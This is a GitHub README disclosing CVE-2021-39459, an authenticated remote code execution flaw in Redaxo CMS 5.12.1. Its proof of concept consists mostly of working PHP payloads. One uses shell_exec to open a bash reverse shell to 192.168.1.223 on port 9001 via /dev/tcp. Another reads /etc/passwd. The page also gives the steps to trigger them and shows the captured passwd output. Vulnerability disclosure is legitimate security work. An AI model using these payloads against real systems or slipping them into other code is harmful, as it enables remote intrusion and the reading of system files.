

main

MyOwnCVEs / CVE-2021-39459 /



evildrummer added CVE-2021-39458 and CVE-2021-39459 ...

on Jan 10 History

..

README.md

last year

getPasswd.png

last year

README.md

## CVE-2021-39459

### Authenticated Remote Code Execution

- Vendor: Yakamara Media
- Product: Redaxo CMS
- Version: 5.12.1

An authenticated admin user of the cms system can add a malicious module with unvalidated php code to trigger local code execution via the shell\_exec function.

Steps for proof of concept:

- Add Module with the following php code in the output section for a reverse shell

```
<?php
shell_exec('bash -c "bash -i >& /dev/tcp/192.168.1.223/9001 0>&1"')
?>
```

or to get direct output of the command.

```
<?php
$password = shell_exec('cat /etc/passwd');
echo $password;
?>
```

- Create or edit an existing article in the section "structure"
- activate the payload by saving the slice

YouTube Video: <https://youtu.be/88ZMGCRHtrM>

### direct command output

Edit mode

Functions Article Show

Block added!

Add slice

getPasswd

edit delete online

Block added!

```
root:x0:root:/root:/bin/bash daemon:x1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x2:2:bin:/bin:/usr/sbin/nologin sys:x3:3:sys:/dev:/usr/sbin/nologin sync:x4:65534:sync:/bin:/bin/sync
games:x5:60:games:/usr/games:/usr/sbin/nologin man:x6:12:man:/var/cache/man:/usr/sbin/nologin lpx:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x8:8:mail:/var/mail:/usr/sbin/nologin
news:x9:9:news:/var/spool/news:/usr/sbin/nologin uu:10:10:uu:/var/spool/uu:/usr/sbin/nologin proxy:13:13:proxy:/bin:/usr/sbin/nologin www-data:x33:33:www-data:/var/www:/usr/sbin/nologin
backup:x34:34:backup:/var/backups:/usr/sbin/nologin list:x38:38:Listing List Manager:/var/list:/usr/sbin/nologin irc:x39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x100:65534:/nonexistent:/usr/sbin/nologin
```